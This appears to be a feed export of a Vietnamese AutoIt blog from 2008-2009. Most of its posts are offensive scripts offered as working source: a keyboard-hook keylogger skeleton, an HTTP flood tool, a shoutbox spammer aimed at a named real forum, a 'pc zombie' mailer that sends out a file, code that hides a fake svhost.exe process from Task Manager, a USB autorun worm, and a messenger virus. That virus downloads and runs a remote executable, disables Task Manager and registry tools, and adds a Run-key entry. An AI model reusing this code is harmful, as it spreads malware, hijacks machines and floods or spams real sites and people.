IT Blog » AutoIT http://blog.thuongtin.net php, sql, autoit, javascript, c, html Tue, 15 Sep 2009 00:57:58 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 AutoIt – Kiểm tra người dùng viết gì. http://blog.thuongtin.net/2009/05/07/autoit-kiem-tra-nguoi-dung-viet-gi/ http://blog.thuongtin.net/2009/05/07/autoit-kiem-tra-nguoi-dung-viet-gi/#comments Thu, 07 May 2009 05:27:13 +0000 admin http://blog.thuongtin.net/?p=418 
Global Const $WH_KEYBOARD_LL = 13
Global $hHook
Global $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
Global $hmod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", _
 $WH_KEYBOARD_LL, "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hmod[0], "dword", 0)
Global $buffer = ""

MsgBox(4096, "", "Nhap chuot vao OK sau do mo Notepad va viet......." & _
 @LF & @LF & "Jon" & @LF & "AutoIt")

While 1
 Sleep(10)
WEnd

Func EvaluateKey($keycode)
 If (($keycode > 64) And ($keycode < 91)) _
 Or (($keycode > 47) And ($keycode < 58)) Then
 $buffer &= Chr($keycode)
 Switch $buffer
 Case "Jon"
 ToolTip("What can you say?")
 Case "AUTOIT"
 ToolTip("AutoIt Rocks")
 EndSwitch
 ElseIf ($keycode > 159) And ($keycode < 164) Then
 Return
 Else
 $buffer = ""
 EndIf
EndFunc   ;==>EvaluateKey

Func _KeyProc($nCode, $wParam, $lParam)
 Local $ret, $KEYHOOKSTRUCT
 If $nCode < 0 Then
 $ret = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], _
 "int", $nCode, "wparam", $wParam, "lparam", $lParam)
 Return $ret[0]
 EndIf
 If $wParam = 256 Then
 $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
 EvaluateKey(DllStructGetData($KEYHOOKSTRUCT, 1))
 EndIf
 $ret = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], _
 "int", $nCode, "ptr", $wParam, "ptr", $lParam)
 Return $ret[0]
EndFunc   ;==>_KeyProc

Func OnAutoItExit()
 DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
 DllCallbackFree($hStub_KeyProc)
EndFunc   ;==>OnAutoItExit
]]> http://blog.thuongtin.net/2009/05/07/autoit-kiem-tra-nguoi-dung-viet-gi/feed/ 2 [AutoIt] Source tool Flood có GUI http://blog.thuongtin.net/2009/05/03/autoit-source-tool-flood-co-gui/ http://blog.thuongtin.net/2009/05/03/autoit-source-tool-flood-co-gui/#comments Sat, 02 May 2009 20:13:29 +0000 admin http://blog.thuongtin.net/?p=414 
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Version=beta
#AutoIt3Wrapper_icon=..\..\Desktop\thingsNSP\Babvil.ico
#AutoIt3Wrapper_outfile=..\..\Desktop\T2 Flood\T2 Flood.exe
#AutoIt3Wrapper_Res_Comment=Flood Shoutbox, bai viet, vv
#AutoIt3Wrapper_Res_Description=T2 Flood Beta
#AutoIt3Wrapper_Res_Fileversion=0.0.0.0
#AutoIt3Wrapper_Res_LegalCopyright=Copyright 2009 by thuongtin@gmail.com
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <GuiEdit.au3>
Global $coki
$Form1_1 = GUICreate("o0o T2 Flood Beta o0o", 627, 555, 192, 124, BitOR($WS_MINIMIZEBOX,$WS_SYSMENU,$WS_POPUP,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0x000000)
$T2 = GUICtrlCreateGroup(" o0o T2 Flood Beta o0o ", 24, 96, 577, 113, $BS_CENTER)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
$ckLogin = GUICtrlCreateCheckbox("Login", 40, 119, 13, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$cLogin = GUICtrlCreateLabel("Login Web", 56, 120, 65, 17)
GUICtrlSetColor(-1, 0xFFFF00)
$LUrl = GUICtrlCreateInput("URL", 104, 144, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$Label1 = GUICtrlCreateLabel("URL", 72, 148, 29, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$Label3 = GUICtrlCreateLabel("", 264, 176, 4, 4)
$Label2 = GUICtrlCreateLabel("Data", 68, 180, 31, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$LData = GUICtrlCreateInput("Info User", 104, 176, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlSetCursor (-1, 9)
$Pic1 = GUICtrlCreatePic("pic.jpg", 32, 0, 598, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS), $GUI_WS_EX_PARENTDRAG)
GUICtrlSetCursor (-1, 9)
$Group1 = GUICtrlCreateGroup(" o0o - Flood - o0o ", 24, 216, 577, 121, $BS_CENTER)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
$Label4 = GUICtrlCreateLabel("URL", 74, 251, 29, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$URL = GUICtrlCreateInput("URL", 104, 248, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$Label5 = GUICtrlCreateLabel("Data", 70, 296, 31, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$DATA = GUICtrlCreateEdit("", 104, 280, 465, 49, $WS_VSCROLL)
GUICtrlSetData(-1, "")
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup(" o0o - Other - o0o ", 24, 352, 577, 169, $BS_CENTER)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
$Label6 = GUICtrlCreateLabel("User-Agent", 34, 378, 67, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$useragent = GUICtrlCreateInput("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10", 104, 376, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$Label7 = GUICtrlCreateLabel("Referer", 56, 410, 46, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$referer = GUICtrlCreateInput("http://google.com", 104, 408, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$ckAuth = GUICtrlCreateCheckbox("ckAuth", 48, 442, 17, 17)
$Label8 = GUICtrlCreateLabel("Authorization", 72, 444, 78, 17)
GUICtrlSetColor(-1, 0xFFFF00)
$aUser = GUICtrlCreateInput("Username", 160, 440, 113, 21)
GUICtrlSetBkColor(-1, 0x272727)
$aPass = GUICtrlCreateInput("Password", 288, 440, 105, 21)
GUICtrlSetBkColor(-1, 0x353535)
$bntSend = GUICtrlCreateButton("Send", 408, 440, 73, 25, $WS_GROUP)
$Label10 = GUICtrlCreateLabel("So luong", 40, 482, 54, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$Soluong = GUICtrlCreateInput("1", 104, 480, 65, 21, BitOR($ES_AUTOHSCROLL,$ES_NUMBER))
GUICtrlSetBkColor(-1, 0x808080)
GUICtrlCreateLabel("", 152, 496, 4, 4)
$Conlai = GUICtrlCreateLabel("0", 224, 484, 100, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Label9 = GUICtrlCreateLabel("Copyright 2009 by Song Chet Group", 424, 528, 174, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$btClose = GUICtrlCreateButton("Close", 496, 440, 73, 25, $WS_GROUP)
GUISetState(@SW_SHOW)

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

Case $bntSend
 T2Send()
Case $btClose
 Exit
EndSwitch
WEnd

Func Post($pUrl, $pData, $pUserAgent="Googlebot", $pReferer="http://google.com", $pAUser="", $pAPass="", $pCookie="")
 $oHttpRequest = ObjCreate("WinHttp.WinHttpRequest.5.1")
 $oHttpRequest.Open ("POST", $pUrl,True)
 If $pAUser <> "" And $pAPass <> "" Then
 $oHttpRequest.SetCredentials( $pAUser, $pAPass, 0)
 EndIf
 $oHttpRequest.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded")
 $oHttpRequest.setRequestHeader ("User-Agent", $pUserAgent)
 $oHttpRequest.setRequestHeader ("Accept-Language", "en-us,en;q=0.5")
 $oHttpRequest.setRequestHeader ("Accept-Encoding", "gzip,deflate")
 $oHttpRequest.setRequestHeader ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
 $oHttpRequest.setRequestHeader ("Connection", "Keep-Alive")
 $oHttpRequest.setRequestHeader ("Referer", $pReferer)
 If $pCookie <> "" Then
 $oHttpRequest.setRequestHeader ("Cookie", $pCookie)
 EndIf
 $oHttpRequest.Send ($pData)
 $a = $oHttpRequest.getAllResponseHeaders()
 $oHttpRequest = ""
 ;MsgBox(0, "", $a)
 $sm = StringSplit($a, "Set-Cookie:", 1)
 $sl = UBound($sm, 1) - 1
 For $i = 2 To $sl Step +1
 $sm2 = StringSplit($sm[$i], ";", 1)
 $coki &= $sm2[1] & ";"
 Next
EndFunc
 Func T2Send()
 $t2sl = _GUICtrlEdit_GetText($Soluong)
 $t2Lcheck = GUICtrlRead($ckLogin)
 If $t2Lcheck == 1 Then
 $t2Lurl = _GUICtrlEdit_GetText($LUrl)
 $ptt2Lurl = StringSplit($t2Lurl, "=SCG=", 1)
 $slpturl = UBound($ptt2Lurl, 1) - 1
 $t2LData = _GUICtrlEdit_GetText($LData)
 $ptt2LData = StringSplit($t2LData, "=SCG=", 1)
 $slptdata = UBound($ptt2LData, 1) - 1
 EndIf
 $t2Url = _GUICtrlEdit_GetText($URL)
 $t2Data = _GUICtrlEdit_GetText($DATA)
 $t2UA = _GUICtrlEdit_GetText($useragent)
 $t2ref = _GUICtrlEdit_GetText($referer)
 $t2Athcheck = GUICtrlRead($ckAuth)
 If $t2Athcheck == 1 Then
 $t2AUser = _GUICtrlEdit_GetText($aUser)
 $t2APass = _GUICtrlEdit_GetText($aPass)
 Else
 $t2AUser = ""
 $t2APass = ""
 EndIf

 If $t2Lcheck <> 1 Then
 For $ii = 1 To $t2sl Step + 1
 $stime = @MIN & @SEC & @MSEC & $ii
 $t2Data2 = StringRegExpReplace($t2Data, "(\(\*\))", $stime)
 Post($t2Url, $t2Data2, $t2UA, $t2ref, $t2AUser, $t2APass)
 GUICtrlSetData($Conlai, $ii)
 Next

 Else
 If $slpturl == 1 Then
 Post($t2Lurl, $t2LData, $t2UA, $t2ref, $t2AUser, $t2APass)
 $cokis = StringStripWS($coki, 3)
 Else
 For $i2 = 1 To $slpturl Step + 1
 Post($ptt2Lurl[$i2], $ptt2LData[$i2], $t2UA, $t2ref, $t2AUser, $t2APass, $cokis)
 $cokis = StringStripWS($coki, 3)
 Next
 EndIf

 For $iii = 1 To $t2sl Step + 1
 Sleep(10)
 $stime = @MIN & @SEC & @MSEC & $iii
 $t2Data2 = StringRegExpReplace($t2Data, "(\(\*\))", $stime)
 Post($t2Url, $t2Data2, $t2UA, $t2ref, $t2AUser, $t2APass, $cokis)
 GUICtrlSetData($Conlai, $iii)
 Next
 EndIf
 EndFunc
]]> http://blog.thuongtin.net/2009/05/03/autoit-source-tool-flood-co-gui/feed/ 1 [AutoIt] Viết phần mềm spam web http://blog.thuongtin.net/2009/04/29/autoit-viet-phan-mem-spam-web/ http://blog.thuongtin.net/2009/04/29/autoit-viet-phan-mem-spam-web/#comments Wed, 29 Apr 2009 05:05:29 +0000 admin http://blog.thuongtin.net/?p=409 Buồn buồn ngồi viết cái code spam shoutbox trang web http://vudai.root.vn của anh Lê Kim Phi.
Code còn rườm rà, làm biếng viết lại.

#cs
Code: Spam
Author: thuongtin@gmail.com
Website: http://thuongtin.net
Soft: AutoIt v3
#ce
Global $coki = ""
$oMyError = ObjEvent("AutoIt.Error","MyErrFunc") ; Install a bespoken nonachievement handler
Func Postbai($_url, $_noidung)
$oHttpRequest = ObjCreate("WinHttp.WinHttpRequest.5.1")
$oHttpRequest.Open ("POST", $_url,True)
$oHttpRequest.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded") ; Need to modify as per your webpage
$oHttpRequest.setRequestHeader ("User-Agent", "Yahoo bot") ; Fake User-Agent sửa thành gì cũng đc.
$oHttpRequest.setRequestHeader ("Accept-Language", "en-us,en;q=0.5")
$oHttpRequest.setRequestHeader ("Accept-Encoding", "gzip,deflate")
$oHttpRequest.setRequestHeader ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
$oHttpRequest.setRequestHeader ("Connection", "Keep-Alive")
$oHttpRequest.setRequestHeader ("Referer", "http://vudai.root.vn/index.php") ; Cái referer này để vượt cái tường lửa
$oHttpRequest.Send ($_noidung)
$a = $oHttpRequest.getAllResponseHeaders()
;MsgBox(0, "", $a)
$sm = StringSplit($a, "Set-Cookie:", 1)
$sl = UBound($sm, 1) - 1
For $i = 2 To $sl Step +1
 $sm2 = StringSplit($sm[$i], ";", 1)
 $coki &= $sm2[1] & ";"
Next
 $coki = StringStripWS($coki, 3) ; Cookies
EndFunc
$url = "http://vudai.root.vn/login.php?do=login" ; Trang để Login
$data = "vb_login_username=Spam&cookieuser=1&vb_login_password=&s=&securitytoken=guest&do=login&vb_login_md5password=202cb962ac59075b964b07152d234b70&vb_login_md5password_utf=202cb962ac59075b964b07152d234b70" ; Thông tin login
Postbai($url, $data) ; Cái này là hàm đăng nhập
$oHttpRequest = ""

$oHttpRequest = ObjCreate("WinHttp.WinHttpRequest.5.1")
$oHttpRequest.Open ("POST", "http://vudai.root.vn/vbshout.php", True) ; Trang shoutbox
$oHttpRequest.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8") ; Need to modify as per your webpage
$oHttpRequest.setRequestHeader ("User-Agent", "Googlebot")
$oHttpRequest.setRequestHeader ("Accept-Language", "en-us,en;q=0.5")
$oHttpRequest.setRequestHeader ("Accept-Encoding", "gzip,deflate")
$oHttpRequest.setRequestHeader ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
$oHttpRequest.setRequestHeader ("Connection", "Keep-Alive")
$oHttpRequest.setRequestHeader ("Referer", "http://vudai.root.vn/index.php") ; Referer
$oHttpRequest.setRequestHeader ("Cookie", $coki) ; Phải đính kèm theo cookie nếu ko thì bó tay.
While 1
$oHttpRequest.Send ("do=shout&shout=Em là Trùm Spam, ban nick em đi anh Phi ơi.&do=shout&color=%23990000&fontWeight=bold&securitytoken=1241083885-9de872f77e34a12b773616348ca8d7879c5e54f6&s=")
Sleep(10)
WEnd

Nếu bạn copy bài viết vui lòng để nguồn http://thuongtin.net

]]> http://blog.thuongtin.net/2009/04/29/autoit-viet-phan-mem-spam-web/feed/ 4 [AutoIt] Send mail http://blog.thuongtin.net/2009/04/23/autoit-send-mail/ http://blog.thuongtin.net/2009/04/23/autoit-send-mail/#comments Wed, 22 Apr 2009 19:54:38 +0000 admin http://blog.thuongtin.net/?p=406 
;##################################
; Include
;##################################
#Include<file.au3>
#Include<array.au3>
#include <ScreenCapture.au3>
;##################################
; Variables
;##################################

Dim $array
$s_SmtpServer = "smtp.gmail.com"                             ; address for the smtp-server to use - REQUIREDhoangtuviolet_1987
$s_FromName = "pc zombie"                           ; name from who the email was sent
$s_FromAddress = "bongma@gmail.com"                 ;  address from where the mail should come virusvn1989
$s_ToAddress = "bongma@gmail.com"           ; destination address of the email - REQUIRED  --> ten nick nguoi nhan
$s_Subject = "day la tieu de"                                      ; subject from the email - can be anything you want it to be
$as_Body = "cai nay la dong thong bao"                                                      ; the messagebody from the mail - can be left blank but then you get a blank mail
$array = @WindowsDir & "\1.jpg"  ; cai nay anh em de gui file nhe
$s_CcAddress = ""                    ; address for cc - leave blank if not needed
$s_BccAddress = ""                   ; address for bcc - leave blank if not needed
$s_Username = "bongma@gmail.com"                        ; username for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
$s_Password = "*******"                           ; password for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
$IPPort = 465                                       ; port used for sending the mail
$ssl = 1                                                          ; enables/disables secure socket layer sending - put to 1 if using httpS
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $array, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $array = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
 $objEmail = ObjCreate("CDO.Message")
 $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
 $objEmail.To = $s_ToAddress
 Local $i_Error = 0
 Local $i_Error_desciption = ""
 If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
 If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
 $objEmail.Subject = $s_Subject
 If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
 $objEmail.HTMLBody = $as_Body
 Else
 $objEmail.Textbody = $as_Body & @CRLF
 EndIf
 If $array <> "" Then
 ;Local $array = StringSplit($array, ";")
 $array= _PathFull ($array)
 If FileExists($array) Then
 $objEmail.AddAttachment ($array)
 Else
 $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $array
 SetError(1)
 return 0
 EndIf
 EndIf
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
 If $s_Username <> "" Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
 EndIf
 If $Ssl Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
 EndIf
;Update settings
 $objEmail.Configuration.Fields.Update
; Sent the Message
 $objEmail.Send
 if @error then
 SetError(2)
 return $oMyRet[1]
 EndIf
EndFunc ;==>_INetSmtpMailCom
; Com Error Handler
Func MyErrFunc()
 $HexNumber = Hex($oMyError.number, 8)
 $oMyRet[0] = $HexNumber
 $oMyRet[1] = StringStripWS($oMyError.description,3)
 ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
 SetError(1); something to check for when this function returns
 Return
EndFunc ;==>MyErrFunc
]]> http://blog.thuongtin.net/2009/04/23/autoit-send-mail/feed/ 4 [Auto It] hide process http://blog.thuongtin.net/2009/04/23/auto-it-hide-process/ http://blog.thuongtin.net/2009/04/23/auto-it-hide-process/#comments Wed, 22 Apr 2009 19:53:57 +0000 admin http://blog.thuongtin.net/?p=404 
Dim $ProcName = "svhost.exe",$TaskManTitle = "Windows Task Manager"
while 1
$FindIndex = ControlListView($TaskManTitle, "", 1009, "FindItem", $ProcName)
If $FindIndex = -1 Then
Else
$hwnd = ControlGetHandle($TaskManTitle, "", 1009)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 0x1008, "int", $FindIndex, "int", 0)
EndIf
wend
]]> http://blog.thuongtin.net/2009/04/23/auto-it-hide-process/feed/ 4 [AutoIt] Autorun và lây lan http://blog.thuongtin.net/2009/04/23/autoit-autorun-va-lay-lan/ http://blog.thuongtin.net/2009/04/23/autoit-autorun-va-lay-lan/#comments Wed, 22 Apr 2009 19:53:32 +0000 admin http://blog.thuongtin.net/?p=402 
Dim $autorun = "[autorun]" & @CRLF & "open=botnet.exe"
fileDelete("C:\Autorun.inf")
filewrite("C:\Autorun.inf",$autorun)
while 1
$var = DriveGetDrive( "REMOVABLE" )
If NOT @error Then
FileCopy(@ScriptFullPath,$var[0])
FileCopy("C:\Autorun.inf",$var[0])
For $i = 1 to $var[0]
FileCopy("C:\Autorun.inf",$var[$i])
FileCopy(@ScriptFullPath,$var[$i])
Next
EndIf
if not fileexists("C:\Autorun.inf") Then
filewrite("C:\Autorun.inf",$autorun)
endif
wend
]]> http://blog.thuongtin.net/2009/04/23/autoit-autorun-va-lay-lan/feed/ 0 T2 Room Spamer Beta 1 http://blog.thuongtin.net/2008/11/01/t2-room-spamer-beta-1/ http://blog.thuongtin.net/2008/11/01/t2-room-spamer-beta-1/#comments Sat, 01 Nov 2008 06:56:54 +0000 admin http://thuongtin.net/blog/?p=279 SpamT2 Room Spamer Beta 1.
Cái này chỉ mới thử trên Yahoo 9 tiếng Việt thôi nên không biết có hoạt động với mấy cái khác không.
Nói chung hoạt động cũng tương đối nhưng mà hơi chậm và còn đụng tới thủ công.

Bạn download file dưới cuối bài viết, sửa lại nội dung trong file reply.txt.
Mở file Room Spamer.exe
Đăng nhập vào Yahoo và vào room muốn spam.
Click vào mặt đỏ của nick trên cùng. Để chuột ngay vị trí đó là ấn phím \
Chương trình sẽ tự động spam các nick trong room.
Chú ý đến nick cuối cùng (nhìn thấy được) ở đây là nick: tinhyeu_cuatoi_tl bạn ấn phím \ để chương trình dừng lại, sau đó kéo thanh cuộn xuống dưới, nhấp chuột vào mặt đỏ tiếp theo của danh sách muốn spam và bấm lại phím \.
Để thoát chương trình vui lòng bấm Ctrl + \

DOWNLOAD

]]> http://blog.thuongtin.net/2008/11/01/t2-room-spamer-beta-1/feed/ 2 AutoIT: Auto Reply YM! http://blog.thuongtin.net/2008/10/31/autoit-auto-reply-ym/ http://blog.thuongtin.net/2008/10/31/autoit-auto-reply-ym/#comments Fri, 31 Oct 2008 03:59:18 +0000 admin http://thuongtin.net/blog/?p=276 Ngồi nghịch cái AutoIT thử viết cái tự động trả lời tin nhắn với 1 nội dung định sẵn, hehe, cũng đc. Thử với Yahoo! 9 phiên bản tiếng Việt, còn mấy cái khác chưa thử.

While 1
WinWaitActive("[CLASS:ATL:007BF380]")
ControlSetText("[CLASS:ATL:007BF380]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "Thuong Tin ko co nha. ^^")
ControlSend("[CLASS:ATL:007BF380]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "{Enter}")
WinClose("[CLASS:ATL:007BF380]")
WEnd

Có lẽ nên sửa lại 1 chút:

While 1
If WinExists("[CLASS:ATL:007BF380]") Then
ControlSetText("[CLASS:ATL:007BF380]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "Thuong Tin ko co nha. ^^")
ControlSend("[CLASS:ATL:007BF380]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "{Enter}")
WinClose("[CLASS:ATL:007BF380]")
EndIf
WEnd
]]> http://blog.thuongtin.net/2008/10/31/autoit-auto-reply-ym/feed/ 8 AutoIT: Các cách mở ẩn 1 trang web. http://blog.thuongtin.net/2008/10/31/autoit-cac-cach-mo-an-1-trang-web/ http://blog.thuongtin.net/2008/10/31/autoit-cac-cach-mo-an-1-trang-web/#comments Fri, 31 Oct 2008 03:26:10 +0000 admin http://thuongtin.net/blog/?p=273 Ngồi nghịch AutoIT và thấy hứng thú với mấy cái vụ mở ẩn 1 trang web thế này: ^^

Cách 1:

$IEPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE", "")
Run($IEPath &amp; " http://thuongtin.net", "", @SW_HIDE)

Có nghĩa là đọc trong registry đường dẫn của IEXPLORE.EXE và chạy mở nó ra với địa chỉ url là http://thuongtin.net (mở ẩn)

Cách 2:

#include <IE.au3>
$oIE = _IECreate ('http://thuongtin.net', 0, 0, 1)

Mở 1 trang web bằng IE và để ở chế độ invisible, chẳng hạn nếu bạn muốn cho nó hiện lên sau 5 giây thì đoạn code sẽ là:

#include <IE.au3>
$oIE = _IECreate ('http://thuongtin.net', 0, 0, 1)
Sleep(5000)
_IEAction ($oiE, "visible")
]]> http://blog.thuongtin.net/2008/10/31/autoit-cac-cach-mo-an-1-trang-web/feed/ 2 AutoIT: Đoạn virus Yahoo! 1 thời http://blog.thuongtin.net/2008/10/28/autoit-doan-virus-yahoo-1-thoi/ http://blog.thuongtin.net/2008/10/28/autoit-doan-virus-yahoo-1-thoi/#comments Tue, 28 Oct 2008 08:03:54 +0000 admin http://thuongtin.net/blog/?p=248 Viết cái này chủ yếu nghiên cứu AutoIT chứ không phải với mục đích phá hoại. Cũng ko phải là quảng bá con virus này, vào google search thì thiếu gì nó. :( 

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: D:AutoITProjectsAdwareDKC.au3>
; ----------------------------------------------------------------------------

;--------------------------------------------
; Tac Gia: KVD
; Phan Mem: DKC Bot
; Phien Ban: 1.1
; Cong Dung: Quang cao Website thong qua Y!M
; Phat Hanh: 1-9-2006
;--------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "http://forums.congdongcviet.com/"

; Lay Nhiem Vao He Thong
If Not FileExists(@WindowsDir & "\taskmng.exe") Then
InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1)
Sleep(5000)
EndIf

; Ghi Khoa Registry
RegWrite("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz")

; Danh Sach Tin Nhan Ngau Nhien
Dim $tin[10]
$tin[0] = "Nguoi ra di vi anh da mang lam lo hay tai vi anh day qua ngheo? Chang the trao ve em duoc nhu long em luon uoc mo, giac mo giau sang... " & $website & " "
$tin[1] = "Ngay khong em anh day lam sao cho het ngay? Sang dem duong nhu chi co anh voi anh quay quang... " & $website & " "
$tin[2] = "Om bau dau thuong, minh anh co don chon day. Ngay mai em ra di, chon giau bao ky niem... " & $website & " "
$tin[3] = "Dem nay mua ngoai hien, mua oi dung roi them cho xot xa. Anh khong quay ve day, loi nao anh noi da quen... " & $website & " "
$tin[4] = "Ngay mai thoi doi ta lia xa em con nho? That long anh muon ta nhin thay nhau, cho quen mau cau yeu thuong em voi anh hom nao... " & $website & " "
$tin[5] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay. Gio day chi la nhung ky niem buon... " & $website & " "
$tin[6] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac mo roi ra di cho anh bat ngo... " & $website & " "
$tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi... " & $website & " "
$tin[8] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong nhung ngay qua da tan theo khoi may bay that xa... " & $website & " "
$tin[9] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan... Ve dau toi biet di ve dau? " & $website & " "

; Ham Thay Doi Status & Gui Tin Nhan
While (1)
sleep(60000)
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude)
Send("!m")
Send("un")
Send("^v {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v {ENTER}")
BlockInput (0)
EndIf
Sleep(1800000)
WEnd

; ----------------------------------------------------------------------------
